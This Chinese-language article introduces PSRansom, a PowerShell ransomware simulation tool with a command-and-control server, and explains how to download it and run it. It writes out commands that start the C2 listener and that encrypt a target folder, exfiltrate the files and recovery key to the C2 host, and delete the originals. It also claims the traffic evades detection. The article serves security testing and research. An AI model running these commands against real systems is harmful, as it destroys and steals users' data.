如何使用PSRansom进行勒索软件安全分析

2022-04-12 08:40:25 浏览数 (1)

关于PSRansom

PSRansom是一款带有C2服务器功能的PowerShell勒索软件模拟工具,该工具可以帮助广大研究人员模拟针对任何操作系统平台(只要安装了PowerShell即可)的通用勒索软件数据加密过程。在C2服务器功能的帮助下,我们甚至还可以通过HTTP从目标设备(客户端)中提取文件,并在服务器端接收信息。

客户端和服务器端之间的通信数据都经过了加密和编码,因此是无法被基于流量审计的检查工具所检测到的。

工具要求

PowerShell 4.0或更高版本

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

代码语言:javascript复制
git clone https://github.com/JoelGMSec/PSRansom

或者直接访问该项目的【Releases页面】下载工具的压缩文件。

下载完成之后,我们将拿到两个脚本:PSRansom和C2Server。第一个将模拟勒索软件感染,而第二个将负责恢复文件及其恢复密钥。

工具使用

该工具的使用非常简单,我们只需要指明要加密的目录、C2 服务器的 IP 或主机名以及接收连接的端口。

除此之外,如果我们需要发送加密文件,则需要在命令结尾添加-x参数选项即可。在解密的时候,只需要指明目录和恢复密钥即可。

工具使用样例

首先,我们的测试场景定义如下:

1、勒索软件将在 Windows 机器上运行 2、我们要加密的文件夹位于 C:Backup 3、C2 服务器将在 Kali Linux 上运行 4、所有流量都将通过代理查看详细信息

接下来,我们看看该工具提供了哪些操作选项:

命令和控制服务器的使用也非常简单,我们只需要指明监听连接的端口和接收连接的端口即可。这里,我们使用的是80端口:

代码语言:javascript复制
pwsh C2Server.ps1   80

接下来,我们将使用以下命令运行加密和渗透:

代码语言:javascript复制
.PSRansom.ps1 -e directory -s ServerC2 -p port -x

此时将生成24 个字母数字字符(小写、大写和数字)的随机密钥,数据将以 AES256 加密,并将恢复密钥发送到 C2 服务器。

完成后,原始文件将被删除,仅保留加密的文件:

服务器端将接收到类似如下图所示的内容:

现在,我们将在服务器端接收到目标设备的信息、恢复密钥、加密文件列表等:

许可证协议

本项目的开发与发布遵循GPL-3.0开源许可证协议。

参考资料

https://darkbyte.net/psransom-simulando-un-ransomware-generico-con-powershell

0 人点赞